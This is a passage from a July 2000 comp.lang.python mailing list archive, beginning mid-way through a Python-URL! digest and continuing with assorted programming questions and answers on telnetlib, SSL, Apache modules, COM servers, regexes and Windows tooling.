Message-ID: <B6DC3599A28DDF73.4ECF4788B1DCDCA6.FBE46D7302C726D3@lp.airnews.net>

    Mark Hammond reveals a fourth (nth?) Python implementation
    on the horizon:  "It has a compiler that generates native
    Windows .DLL/.EXE files.  It uses a runtime that consists
    of a few thousand lines of C# (C-Sharp) code.  ...  Python
    can subclass VB or C# classes, and vice-versa."
        http://www.python.org/pipermail/python-dev/2000-July/013019.html

    The Python community has always had fun suggesting
    enhancements to the language, but unless you follow threads
    carefully, it can be hard to figure out the state of a
    proposal.  Barry Warsaw will be making the process more
    formal and IETF-like, as described here:
        http://www.python.org/pipermail/python-dev/2000-July/013059.html

    Huaiyu Zhu provides class calculus to help homesick Javans
    and others involved in a particular kind of type correctness
	http://deja.com/=dnc/getdoc.xp?AN=635109618  

    Edward K. Ream and Gordon McMillan show how to think about
    generation of executables which embed Python, even in the
    face of Win* peculiarities, Borland-Microsoft miscegenation,
    backlinking, extensions, and related abstrusities
	http://deja.com/=dnc/viewthread.xp?AN=647162382

    Intellisens-ability:  PythonWin capacity to use a key other
    than TAB in AutoComplete traversal
	http://deja.com/=dnc/getdoc.xp?AN=647146716

    TheKompany.com releases the third distinct product called
    "Visual Python".  This one "is aimed at KDE and GNOME appli-
    cation developers and allows you to easily embed Python as a
    GUI enabled scripting language in your application"
	http://x75.deja.com/getdoc.xp?AN=647020031


========================================================================

Everything you want is probably one or two clicks away in these pages:

      Python.org's Python Language Website is the center of Pythonia
          http://www.python.org

      eff-bot's complements this digest with his daily python url
          http://hem.passagen.se/eff/url.htm

      Much of Python's real work takes place on Special-Interest Group
          mailing lists http://www.python.org/sigs/

      Python Consortium emerges as an independent nexus of activity
          http://www.python.org/consortium

      The Vaults of Parnassus ambitiously collects Python resources
          http://www.vex.net/~x/parnassus/   

      Python FAQTS
          http://python.faqts.com/

      Python To-Do List anticipates some of Python's future direction
          http://www.python.org/cgi-bin/todo.py

      Python Journal is at work on its second issue
          http://www.pythonjournal.com

      Links2Go is a new semi-automated link collection; it's impressive
      what AI can generate
          http://www.links2go.com/search?search=python

      Archive probing trick of the trade:
          http://www.dejanews.com/dnquery.xp?QRY=&DBS=2&ST=PS&defaultOp=AND&LNG=ALL&format=threaded&showsort=date&maxhits=100&groups=comp.lang.python


Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://purl.org/thecliff/python/url.html
or
  http://www.dejanews.com/dnquery.xp?QRY=~g%20comp.lang.python%20Python-URL%21


Suggestions/corrections for next week's posting are always welcome.
[http://www.egroups.com/list/python-url-leads/ is hibernating.  Just
e-mail us ideas directly.]

To receive a new issue of this posting in e-mail each Monday morning,
ask <claird at neosoft.com> to subscribe.  Mention "Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From m.faassen at vet.uu.nl  Fri Jul 28 18:04:50 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 28 Jul 2000 22:04:50 GMT
Subject: Perl is worse!
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <aeb2osgndgqvhrrm6f3pmfevns171i0r5a@4ax.com> <slrn8o2f77.1e2.grey@teleute.rpglink.com>
Message-ID: <8lt022$mrg$1@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
> On Fri, 28 Jul 2000 06:52:19 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>
> wrote:
>>Yes, it does.  List returns the list-equivalent of the sequence passed as
>>its argument.  1 is not a sequence; it doesn't have a list equivalent.

>     1 is a sequence whether Python likes it or not.  I call that a deficiency
> in the language.

Right, so you're saying all objects in Python should be sequences of a 
single element. Now let's take the object [1] (a sequence object). According
to you, this should be a sequence with a single object [[1]], and that
should be a sequence with a single object too, so [[[1]]], and so on
ad infinitum.

So [1][0] should be [1], right? And [1].append(1) should be, um, [[1], 1],
or alternatively [[1, 2]], or it might also be [[[1], [[[1]]]]], if you'd
like.

That's an interesting position, but it's not the way Python works. Python
is self consistent, it's not deficient, and it's also not Perl. Please
point out actual quirks of the language. We thank you.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From aruth at intercation.com  Mon Jul 24 10:04:42 2000
From: aruth at intercation.com (Adam Ruth)
Date: Mon, 24 Jul 2000 08:04:42 -0600
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net> <397BE9FE.BF003A13@stroeder.com>
Message-ID: <8lhigj$sd5$1@news.aros.net>

And don't forget FastCGI.  It's a language independent version that we use.

--
Adam Ruth
InterCation, Inc.
www.intercation.com


"Michael Str?der" <michael at stroeder.com> wrote in message
news:397BE9FE.BF003A13 at stroeder.com...
> Dan Grassi wrote:
> ^^^^^^^^^^
> I remember a strange PHP3 vs. Python thread...
> >
> > I need Oracle on ix86,
> > [..]
> > Memory leaks are
> > a major problem in a shop that is serving over 1 million pages a day.
>
> You already found http://www.zope.org ?
>
> > Then there is the mod-python/mod_pyapache mess, two competing versions
>
> Don't be unfair! You forgot mod_snake!
> => there are *three* competing version. ;-)
>
> Ciao, Michael.




From mwh21 at cam.ac.uk  Thu Jul 13 02:38:21 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 13 Jul 2000 07:38:21 +0100
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>
Message-ID: <m37laqr0v6.fsf@atrus.jesus.cam.ac.uk>

hzhu at knowledgetrack.com (Huaiyu Zhu) writes:
 
> 2. It is difficult to add .* and ./ as . is already a valid token.  

Irrespective of the rest of this post, this is not true.  "**" is a
valid token depsite "*" being one, etc.

Cheers,
M.

-- 
  I'm sorry, was my bias showing again? :-) 
                                      -- William Tanksley, 13 May 2000


From tjg at exceptionalminds.com  Sat Jul 29 18:28:00 2000
From: tjg at exceptionalminds.com (Timothy Grant)
Date: Sat, 29 Jul 2000 15:28:00 -0700
Subject: telnetlib
Message-ID: <20000729152800.B1899@reepicheep.avalongroup.net>

Hi all,

I have my first need to play with the telnetlib module, and am having some
good successes, but some puzzling failures. I'm hoping that someone here can
shed some light on what's happening.

First the trace from my telnet session:

Telnet(host.abcde.com,23): recv '\015\012SFW 123.123.123.123\015\012'
Telnet(host.abcde.com,23): recv '\024\005'
Telnet(host.abcde.com,23): send 'ABCDEFGH'
Telnet(host.abcde.com,23): recv 'Welcome to Stellar 3\015\012ABCDEFGHI
\015\012'
Telnet(host.abcde.com,23): recv '\015\000\015\000Enter Public ID: '
Telnet(host.abcde.com,23): send 'XYZ\012'
Telnet(host.abcde.com,23): recv 'X'
Telnet(host.abcde.com,23): recv 'YZ\015\012'
Telnet(host.abcde.com,23): recv '\015\000\015\000Enter Private ID: '
Telnet(host.abcde.com,23): send '1234567\012'
Telnet(host.abcde.com,23): recv '*'
Telnet(host.abcde.com,23): recv '*'
Telnet(host.abcde.com,23): recv '*****\010 \010\010 \010\010 \010\010
\010\010 \010\010 \010\010 \010\015\012'
Telnet(host.abcde.com,23): recv '\015\012'
Telnet(host.abcde.com,23): recv 'You have Personal and General mail.\015\012'
Telnet(host.abcde.com,23): recv '\015\012Enter Terminal Type ( PIC default -
? for valid '
Telnet(host.abcde.com,23): recv 'types): '
Telnet(host.abcde.com,23): send 'XTERM\012'
Telnet(host.abcde.com,23): recv 'X'
Telnet(host.abcde.com,23): recv 'T'
Telnet(host.abcde.com,23): recv 'ERM'

Now the code:

host = telnetlib.Telnet(hostname)

host.set_debuglevel(255)

host.read_until('\024\005')
host.write(answerback)

host.read_until('Public ID: ')
host.write(username + '\n')

host.read_until('Private ID: ')
host.write(password + '\n')

host.read_until('): ')		#Set the terminal Type
host.write('XTERM\n')

#My code stops function at this point

#The following prompt never appears
host.read_until('): ')		#Set the terminal Rows
host.write('24\n')

Now the problem.

Everything works great until I enter the Terminal type. It appears that the
telnet session stops receiving at that point. As you can see from the
Traceback I receive the echo of from my write, but then don't receive the
next prompt.

I'm guessing it has something to do with either changing the terminal type
on telnetlib, or a timing issue, but I'm stumped at the moment.

One other point, even if I go with the default terminal type, I have the
same problem.

Any suggestions will be greatfully accepted.

Thanks.

-- 
Stand Fast,
    tjg.

Timothy Grant                         tjg at exceptionalminds.com
Chief Technology Officer              www.exceptionalminds.com
Red Hat Certified Engineer                      (503) 246-3630
Avalon Technology Group, Inc.               fax (503) 246-3124
>>>>>>>>>>>>Linux...Because crashing isn't normal<<<<<<<<<<<<<




From europax at home.com.bbs  Sun Jul 16 21:50:02 2000
From: europax at home.com.bbs (europax at home.com.bbs)
Date: 17 Jul 2000 01:50:02 GMT
Subject: problems trying wxPython in Win 95
Message-ID: <3bQhHQ$l5X@openbazaar.net>

I want to run the demo program included in wxPython 2.1.  Upon starting it I
immediately get the message appended to this post.  I have two versions of
Python installed-  1.5.2 and 1.6a2.  I tried the demo from both of them and
get the same result.  I tried running it from the console, from PythonWin,
and from IDLE, all with negative results.  Does anyone have an idea of what
is going on?

Thanks,  Rob.

PYTHONWIN caused an exception c06d007eH in module KERNEL32.DLL at
0137:bff9a07c.
Registers:
EAX=0063d7bc CS=0137 EIP=bff9a07c EFLGS=00000246
EBX=00000000 SS=013f ESP=0063d7b8 EBP=0063d80c
ECX=0063d7d4 DS=013f ESI=0063d864 FS=2287
EDX=ffffffff ES=013f EDI=00000000 GS=0000
Bytes at CS:EIP:
5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec
Stack dump:
018a9c34 c06d007e 00000000 00000000 bff9a07c 00000001 0063d830 bff782c7
817f9000 81821708 00081822 00000000 0063d6e3 00000000 bff7c4f7 0188e4d0


From donn at u.washington.edu  Mon Jul 24 12:21:18 2000
From: donn at u.washington.edu (Donn Cave)
Date: 24 Jul 2000 16:21:18 GMT
Subject: newb Q: security with variables
References: <397BE388.349CCA17@mediaone.net>
Message-ID: <8lhqdu$2ae6$1@nntp6.u.washington.edu>

Quoth Toy <gee308 at mediaone.net>:
| Could you please explain to me various secure ways of having a python
| script store variables such as your password/username in a file.
| I understand that you can chmod 0400 <variables.file>, but are there any
| other alternatives?

On a floppy disk, retained by owner of the password.

| Also, can you run python code with files that don't end with the python
| extensions(.py and others)?  That way it would make it less obvious that
| it was some sort of script.  Thanks

Yes.

	Donn Cave, donn at u.washington.edu


From Wolfgang.Strobl at gmd.de  Mon Jul 17 08:55:58 2000
From: Wolfgang.Strobl at gmd.de (Wolfgang Strobl)
Date: Mon, 17 Jul 2000 14:55:58 +0200
Subject: Pythonwin 132: Letters with Umlaut cause problems
References: <8kuhnd$bh3$1@nnrp1.deja.com> <flr5nskmh6hgiv3bu0ihnahq9e8kq4s7ck@4ax.com> <R7Dc5.4284$4p3.32213@news-server.bigpond.net.au>
Message-ID: <c606nsg7p536cdvpk3b8ms46l7tfh1lcbk@4ax.com>

"Neil Hodgson" <neilh at scintilla.org> wrote:

>  if key == 220:
>   return 1

>   This avoids calling win32ui.TranslateVirtualKey for the "^" key. 

This helps. Many thanks!

>More
>tests may be needed for other accent characters or other locales.

if key == 220 or key == 221: 
 return 1

is sufficient for the German keyboard locale IMHO, it disables the other
special key, on the other side of the keyboard, left to the backspace
key, too.  That key is labeled "?" and "`" on the German keyboard.


-- 
      o      (    Wolfgang.Strobl at gmd.de          (+49 2241) 14-2394
     /\        *  GMD Forschungszentrum Informationstechnik GmbH
   _`\ `_<===     Schloss Birlinghoven,           | #include
__(_)/_(_)___.-._ D-53754 Sankt Augustin, Germany | <std.disclaimer>


From shouldbe at message.com  Thu Jul  6 08:35:31 2000
From: shouldbe at message.com (Arinté)
Date: Thu, 06 Jul 2000 12:35:31 GMT
Subject: Python brokeness???
Message-ID: <n2%85.34984$NP5.1038272@newsread2.prod.itd.earthlink.net>

I have an embedded app with a call like this:
PyObject *open(PyObject* self,PyObject* args){
 long ret(1);

 g_lastDevice = pyposs.getDeviceFromPy(args);
 if(!g_lastDevice){
  PyErr_Clear();
  PyErr_SetString(PyExc_TypeError,"No Device");
  return NULL;
 }
 else
 {
  PyObject* deqme =Py_BuildValue("i",0);
  PyObject* comm =PyObject_GetItem(args, deqme);
  PosArgEx* p=createArgs(comm);
  ret = g_lastDevice->open(p);
  if(p){
   createPyArgs(comm,p);
   delete p;
  }
   ioctls.getIOCtls(g_lastDevice->getName());
 }
 PyErr_Clear();
 return Py_BuildValue("i",ret);
}

Now, before I put that PyErr_Clear in the script that I ran with a
range(-1,10) used to give error len() of unsized object or give me
IndexError: string index out of range.  Here is the script

import PossDevice
import poss

1 poss.initialize( PossDevice.Enumerate )
2 diz = PossDevice.QueryDevices(1,11,35)
3 diz.open()
4 diz.ioctl("POS_SYS_ACQUIRE_DEVICE",0)
z = range(-1,14)
for i in z:
 print i

I figured out that it was open by taking away line 4, then 3, then 2, then
putting 3 back in.  So, I first did a check on PyErr_Occurred, but it didn't
give an error, but the script did.  So, I just left PyErr_Clear in without
checking and it worked.  BTW, I get the len() of unsized error if I leave
the ioctl and the open in  (ioctl and open are calls to the c++ app).

I like python and I am not trying to troll or tear it down, so please no
flames.  If any of the functions fail in my c++ app (like  g_lastDevice =
pyposs.getDeviceFromPy(args);) I expect a crash, but these are nigh
foolproof (emphasis on nigh).

thanx for any info.





From cjc26 at nospam.cornell.edu  Sun Jul 23 10:43:10 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Sun, 23 Jul 2000 14:43:10 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com> <DSOd5.25099$DZ4.83839@news.corecomm.net> <slrn8nhj0s.jr0.cjc26@synecdoche.sowrong.org> <jlie5.28024$DZ4.107957@news.corecomm.net>
Message-ID: <slrn8nm1au.pod.cjc26@synecdoche.sowrong.org>

* nobody <no at bo.dy> menulis:
| 
| >> i like it, i just wish its functions would be more consistent about
| >> what sort of regexps they want - either all compiled or all not
| >> compiled; i'm seeing some wanting one and some the other, for some
| >> reason. might be just my system, i suppose...
| 
| > The two should be interchangable..AFAIK wherever you can use a compiled
| > regexp, you can use an uncompiled one, and vice-versa.
| 
| that's what the documentation claims, but here's what i get:
| 
| >>> match=re.match(reg_c, test)
| [...]
| TypeError: argument 1: expected string, instance found
| >>> match=re.match(reg,test)
| >>>
| 
| the compiled one works in re.findall, though. i've no idea why this
| bites me in this way, but it's not too hard to work around, so...

Oh, right..I should've explained it better :)  A compiled regexp is an
object which has match() and search() methods, so instead of

    match=re.match(reg_c, test)

you want to do

    match=reg_c.match(test)

Also, in your example you'd probably want to use search() rather than
match(), which only succeeds if the regexp matches the beginning of the
string (i.e. it acts as if there is an implicit '^' at the beginning of
the regexp).

-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From Ted.Mew at ncmail.net  Wed Jul  5 09:11:36 2000
From: Ted.Mew at ncmail.net (Ted Mew)
Date: Wed, 05 Jul 2000 09:11:36 -0400
Subject: Compatibility between PythonWin and DISLIN
Message-ID: <39633408.80B5DFBC@ncmail.net>

Has anyone tried to run the graphing package DISLIN using
Mark Hammond's PythonWin 1.5.2?  Is DISLIN compatible with
PythonWin?

DISLIN 7.3 is a high-level and easy to use graphics library
with a Python version that runs nicely on a Windows NT
platform under Python 1.5.2.  This data plotting extension
was developed by Helmut Michels of the Max_Planck
Institute.  It is listed on the Starship at:

http://starship.python.net/crew/jhauser/plot-res.html

and the binaries can be obtained freely at:

http://www.linmpi.mpg.de/dislin/

I have made a cursory attempt to run DISLIN under PythonWin,
but crashed in flames, unable to read memory locations.
Since PythonWin is MS Windows based, I suspect DISLIN is
attempting to run as an independent process or DOS-based
program, but have little knowledge in this area.

Any insights or experience would be appreciated.

 -Ted
-------------- next part --------------
A non-text attachment was scrubbed...
Name: Ted.Mew.vcf
Type: text/x-vcard
Size: 396 bytes
Desc: Card for Ted Mew
URL: <http://mail.python.org/pipermail/python-list/attachments/20000705/c0e6e170/attachment.vcf>

From level2junkie at my-deja.com  Mon Jul 17 11:30:46 2000
From: level2junkie at my-deja.com (level2junkie at my-deja.com)
Date: Mon, 17 Jul 2000 15:30:46 GMT
Subject: freeze .pyw files?
Message-ID: <8kv8r7$s1e$1@nnrp1.deja.com>

Can someone tell me if it's possible to freeze a .pyw file.  I've
gotten freeze to work with .py files, but for some reason it seems to
hate the .pyw files.  I'd rather not have that console window pop up
everytime I want to run my application.  Does anyone know how to freeze
a .pyw file?


Sent via Deja.com http://www.deja.com/
Before you buy.


From lull at acm.org  Thu Jul  6 01:49:04 2000
From: lull at acm.org (John Lull)
Date: 6 Jul 2000 00:49:04 -0500
Subject: Singleton COM local/remote server?
References: <7bd5msssk48km280t9bvds4i3v6hs7r8or@4ax.com> <8jvad40s00@news1.newsguy.com>
Message-ID: <dj48msg9j3q4o04btld74spor9afnn8k3h@4ax.com>

Alex Martelli wrote (with possible deletions):

> I'm not sure how this translates to Python's implementation
> of COM, but, at a lower abstraction level, this is exactly
> what is accomplished by passing the REGCLS_MULTIPLEUSE value
> as the "flags" parameter in the CoRegisterClassObject calls
> that an .EXE does, at startup, to let the Service Control
> Manager of COM know about its class-objects (IClassFactory
> instances).

> Now, there remains the issue of, how to control the flags
> used on CoRegisterClassObject by pythonw.exe...?  I can't
> find it in the docs (which doesn't mean it isn't there...
> it just says I can't find it).  Maybe we need to look at
> the sources...?

I replied (with capitalization corrected):

> It seems to be passed as the third command line argument to
> localserver.py, which calls RegisterClassFactories(), which
> in turn calls CoRegisterClassObject().

> localserver.py is apparently run anytime you start a Python
> local server.  Now I just need to figure out how to set up
> the command line arguments -- I suspect it's something set
> in the registry during installation.

If I had simply looked a little further, I would have noticed that if
you don't specify flags and/or clsctx to RegisterClassFactories:
  flags defaults to REGCLS_MULTIPLEUSE | REGCLS_SUSPENDED
  clsctx defaults to CLSCTX_LOCAL_SERVER
and localserver.py promptly calls CoResumeClassObjects() after
RegisterClassFactories(), which I think is precisely what I wanted.

Looks like I'm all set, until I want to write a local server that can
have *multiple* instances running simultaneously.

Thanks much.

Regards,
John


From pehr at pehr.net  Thu Jul 20 00:19:25 2000
From: pehr at pehr.net (pehr anderson)
Date: Thu, 20 Jul 2000 04:19:25 GMT
Subject: HTTPS support?
References: <20000719161558.A1809@freei.com>
Message-ID: <39767DCD.6F910132@pehr.net>

Dear Sean, 

We had this same issue. 
To solve it, we found that we could get what we needed by 
using the command-line options available in the openssl package.
If your problem is more complicated than ours, you may be
interested in investing more time than us.

To do what we did, install openssl-0.9.5a-1 from 
http://www.openssl.org 
Binary RPMS are available from the http://openssh.com project
ftp://ftp1.usa.openbsd.org/pub/OpenBSD/OpenSSH/portable/rpm/
"man openssl" should tell you how to work openssl
and you can run it from python with something like:
page = os.popen("echo %s | openssl" % cmds).read()
I don't remember exactly what we did so try your own thing.

Word on the street is that you should look in the
prereleases of python 1.6 (renamed 2.0)
for the "right" long-term solution.
I've downloaded the CVS and it looks like you will
have to uncomment a couple of lines in:

python/dist/src/Modules/Setup.in


Here is the relevant section:

# Socket module compiled with SSL support; you must edit the SSL
variable:
#SSL=/usr/local/ssl
#socket socketmodule.c \
#       -DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \
#       -L$(SSL)/lib -lssl -lcrypto

# The crypt module is now disabled by default because it breaks builds
# on many systems (where -lcrypt is needed), e.g. Linux (I believe).
#crypt cryptmodule.c # -lcrypt  # crypt(3); needs -lcrypt on some
systems

Good luck!
=	-pehr



Sean Blakey wrote:
> 
> Are there any current SSL libraries for Python?  A quick search of goole and
> Parnassus turned up some older links and some RPMS for a hack to 1.5.1 (I may
> have to figure out how to dissasemble an RPM - I develop on FreeBSD).
> 
> Does anybody know of a commercially usable Python SSL library that works with
> current (1.5.2) Python?
>     -Sean
> 
> --
> Sean Blakey, sblakey at freei.com
> Software Developer, FreeInternet.com
> (253)796-6500x1025
> Decaffeinated coffee?  Just Say No.


From baron at null.net  Sat Jul  8 23:31:24 2000
From: baron at null.net (Matthew Schinckel)
Date: Sun, 9 Jul 2000 13:01:24 +0930
Subject: Making tabs illegal
In-Reply-To: <vnd1z14w5re.fsf@camelot-new.ccs.neu.edu>
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com> <Pine.BOS.4.10.10007081420100.1550-100000@be> <vnd1z14w5re.fsf@camelot-new.ccs.neu.edu>
Message-ID: <Pine.BOS.4.10.10007091300200.1313-100000@be>

On Jul 8, I overheard Justin Sheehy mutter:

> Matthew Schinckel <baron at null.net> writes:
> 
> > I hate having to hit space four times, I'd much rather just use tab.
> 
> You should get a decent editor.

You have missed my point entirely - I am arguing against the banning of
tabs - my editor does tabs, syntax highlighting and autoindenting.

Matt.



From gmunsey at punkalunka.org  Sat Jul 29 15:46:12 2000
From: gmunsey at punkalunka.org (Grant Munsey)
Date: Sat, 29 Jul 2000 12:46:12 -0700
Subject: Python plug-ins for Adobe Products available
Message-ID: <BvGg5.22$RZ2.62383@news.pacbell.net>

Adobe has opened an open source site at http://opensource.adobe.com.

The first three projects on the site are Python plug-ins for Adobe
Photoshop,
Illustrator, and After Effects (Windows only at this point).

The Adobe Open Source license is reasonably liberal.




From jerome.quelin at insalien.org  Sat Jul 15 12:05:52 2000
From: jerome.quelin at insalien.org (Jerome Quelin)
Date: Sat, 15 Jul 2000 18:05:52 +0200
Subject: How to read one raw character at a time?
Message-ID: <963677152.546123668@news.libertysurf.fr>

Hi all,

When prompting a user for something, I would like to fetch and proceed
his answer character by character, and not line by line. How should I
do?

sys.stdin.read(1) proceeds only when the user hits the return key,
that's not what I want.
What function should I call? Some sort of get_char(), or getc(), I
presume, but do Python provide them? If so, in which module?


Thanks,
Jerome
--
jerome.quelin at insalien.org



From danny at thrud.anatomy.usyd.edu.au  Sun Jul  9 07:42:46 2000
From: danny at thrud.anatomy.usyd.edu.au (Danny Yee)
Date: 9 Jul 2000 21:42:46 +1000
Subject: ISO Latin -> HTML conversion
References: <8k4r6p$p1v$1@thrud.anatomy.usyd.edu.au> <NhJ95.32962$HL2.534327@afrodite.telenet-ops.be> <8k8q17$rov$1@thrud.anatomy.usyd.edu.au> <p6qhf9z4ndj.fsf@informatik.hu-berlin.de>
Message-ID: <8k9ofm$8lq$1@thrud.anatomy.usyd.edu.au>

I solved my problem.  The big performance hit was doing hundreds of
substitutions on every line.  But there are only a few diacritics in
the body of text I am converting (this is to produce html versions of
a collection of 500 book reviews, from ISO Latin originals), so I did
a search before doing the substitutions.

special = re.compile("[?-?]")

if special.search(line):
	for pair in fix_list:
		line = re.sub(pair[0], pair[1], line)

And that sped up a complete rebuild of the site from ten minutes to one!

http://dannyreviews.com/

Danny.



From bjorn at roguewave.com  Mon Jul 17 12:32:43 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Mon, 17 Jul 2000 10:32:43 -0600
Subject: Global & Importing issues.... Newbie
References: <963849878.7647.0.nnrp-13.c3ad12d2@news.demon.co.uk>
Message-ID: <3973352B.6DED8D9C@roguewave.com>

Try

  import __main__

in mod2. Or even better implement the common data in a separate module,
perhaps even as a class?

-- bjorn

Toby wrote:
> 
> I have a simple requirement for a second module to access a global variable
> stored in the first (main) module.
> 
> I can reproduce my problem with the following 2 modules...
> 
> Mod1.PY >>>
> import Mod2
> 
> myGlobal = None
> 
> if __name__ == "__main__":
> 
>   myGlobal = 100
> 
>   Mod2.DoPrint()
> #endif
> #endmodule
> 
> Mod2.PY >>>
> import Mod1
> 
> def DoPrint():
>   print Mod1.myGlobal
> #enddef
> #endmodule
> 
> When executing Mod1.PY I expect the answer 100 to be printed out, I get None
> 
> I also get the same problem if there is a function in Mod1 which prints the
> value of myGlobal and is called from Mod2 - I think this is the same
> problem.
> 
> :o(
> 
> Any help from Python experts ?
> 
> TIA Toby
> 
> --
> http://www.python.org/mailman/listinfo/python-list



From jick78 at my-deja.com  Mon Jul 10 16:47:15 2000
From: jick78 at my-deja.com (jick78 at my-deja.com)
Date: Mon, 10 Jul 2000 20:47:15 GMT
Subject: Py_Apache Vs. mod_python
References: <3963CF19.3F4CDA8D@bioeng.ucsd.edu> <87zonvso9c.fsf@cachemir.echo-net.net> <71vfmsc0sspvpg3mq8k3s1ri653908u9nk@4ax.com> <396863B7.875EA939@stroeder.com> <8kai0a$7fm$1@nnrp1.deja.com>
Message-ID: <8kdcoe$85o$1@nnrp1.deja.com>

I'll just post to clear up some of the confusion around some
of the Apache+Python modules.

mod_snake in its most basic form allows you to load Python
modules into the Apache server to hook into the various
Apache phases (such as check_user_id, etc.)  There are
modules that come with mod_snake, that allow you to
accelerate CGI scripts via keeping an interp around
(py_Apache does this), and also one that allows you to
write very 'simple' modules similar to mod_perl or
mod_python.  There is also a module to perform embedded
Python processing within HTML via embPerl syntax.  I.e.:

[-import time-]
<H1> The date is [+time.ctime(time.time())+] </H1>

The current main differences between mod_snake and mod_python
are:

o mod_snake works in both Apache 1.3 and 2.0 series.  Mod_Python
  currently only runs in Apache 1.3.

o mod_python runs under Windows -- mod_snake does not.

o mod_snake allows Python written modules to create their own
  configuration directives, and gives the modules more power
  similar to that of C-style Apache modules (via per-dir configs,
  etc.)  mod_python only allows for mod_perl style callbacks.

There are more subtle differences, but we can leave those alone.

To check these out, you can check out:
modsnake.sourceforge.net
or
modpython.sourceforge.net

-- Jon





In article <8kai0a$7fm$1 at nnrp1.deja.com>,
  johnvert at my-deja.com wrote:
> In article <396863B7.875EA939 at stroeder.com>,
>   Michael =?iso-8859-1?Q?Str=C3=B6der?= <michael at stroeder.com> wrote:
> > Tim Roberts wrote:
> > >
> > > I'll say.  Am I correct in understanding that the basic purpose of
> > > "mod_snake" is to allow me to write other Apache modules in
Python,
> while
> > > PyApache is a module which lets me run Python CGI scripts without
> > > launching a separate interpreter,
> >
> > Yes. PyApache resets the Python interpreter everytime which leads to
> > reloading of the modules for every hit.
> >
> > With mod_python you can write Apache handlers but also wrap normal
> > CGI-BIN scripts without having to reload the modules for every hit.
> >
> > Ciao, Michael.
>
> Which one of these modules can you use to write embedded python code?
> I.e.
>
> foo.html.py:
> <html>
> <body>
> Looping through red, blue, green:
> <python>
> colors = ['red', 'blue', 'green']
> for color in colors:
>     print color
> </python>
> </body>
> </html>
>
> Thanks,
>  -- John
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From fiona at sitegnome.com  Wed Jul 26 23:55:33 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Thu, 27 Jul 2000 13:55:33 +1000
Subject: Beginning
References: <8loacq$n81$1@nnrp1.deja.com>
Message-ID: <397FB2B5.8FE38267@sitegnome.com>

Hi Alex,

A little commercial for the work I've been doing :-)

Check out http://python.faqts.com

There are a lot of links to resources and an extensive collection of
FAQ's.

cheers, Fiona

Alex wrote:
> 
>  hi everybody!
> I just begin to study programming and one friend of mine advised to me
> to start with the Python language. I find it interesting.
> If anybody know good Internet links to Python sources, please send it
> here. Also any good advice for beginner will be appreciated.
> If you a beginner and would like to exchange ideas and experience about
> programming on Python e-mail me medved55 at greenbay.usa.com.  Profy
> welcome too.
> Thank you.
> Alex
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.

-- 

Site Gnome - site maintenance, documentation and proof reading

http://www.sitegnome.com


From sash at eurocom.od.ua  Tue Jul 25 05:57:07 2000
From: sash at eurocom.od.ua (Alexander V. Goncharuk)
Date: Tue, 25 Jul 2000 12:57:07 +0300
Subject: Python 1.4 + IBM  patch  on MVS
References: <8ljj9n$v3r$1@DCS.eurocom.od.ua>
Message-ID: <8ljodk$38f$1@DCS.eurocom.od.ua>

"Alexander V. Goncharuk" <sash at eurocom.od.ua> wrote in message
news:8ljj9n$v3r$1 at DCS.eurocom.od.ua...
> Hello all,
> I tried to build python 1.4 + IBM patch on MVS but ... when I try to start
> python I receive "segmentation fault"
> I applied patch from IBM w/o problem, compiled and linked w/o problem, but
> python doesn't run.
> Did anybody try to build and run python on MVS ?
> Probably It's necessary to specify  any additional options on  the
configure
> stage ?
>
> Will be very obliged for any suggestion about this problem.
>
> regards,
>     Alexander
>
>
>
More exactly the error output is:

 $ ./python
Python 1.4 (Jul 13 2000) [C]
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
CEE3204S The system detected a protection exception (System Completion
Code=0C4)
.
         From entry point fixstate at compile unit offset +00000082 at
address 0
DADBD8A.
[1] + Done(139) ./python
  33554611      Segmentation violation  ./python





From robin at jessikat.co.uk  Thu Jul  6 07:16:27 2000
From: robin at jessikat.co.uk (Robin Becker)
Date: Thu, 6 Jul 2000 12:16:27 +0100
Subject: function arguments
References: <Pine.LNX.4.21.0007061257160.17492-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <6CWP3BALqGZ5EwzT@jessikat.demon.co.uk>

In article <Pine.LNX.4.21.0007061257160.17492-100000 at krispc6.physik.uni-
karlsruhe.de>, Johannes Zellner <johannes at zellner.org> writes
>
>Hello,
>
>is there a way to get a functions argument list ?
>
>e.g.
>
>def fun(fred, lola):
>    ...
>
>something like `arglist(fun)' should return [ 'fred', 'lola' ]
>
def arglist(fun):
        return fun.func_code.co_varnames[:fun.func_code.co_argcount] 
-- 
Robin Becker


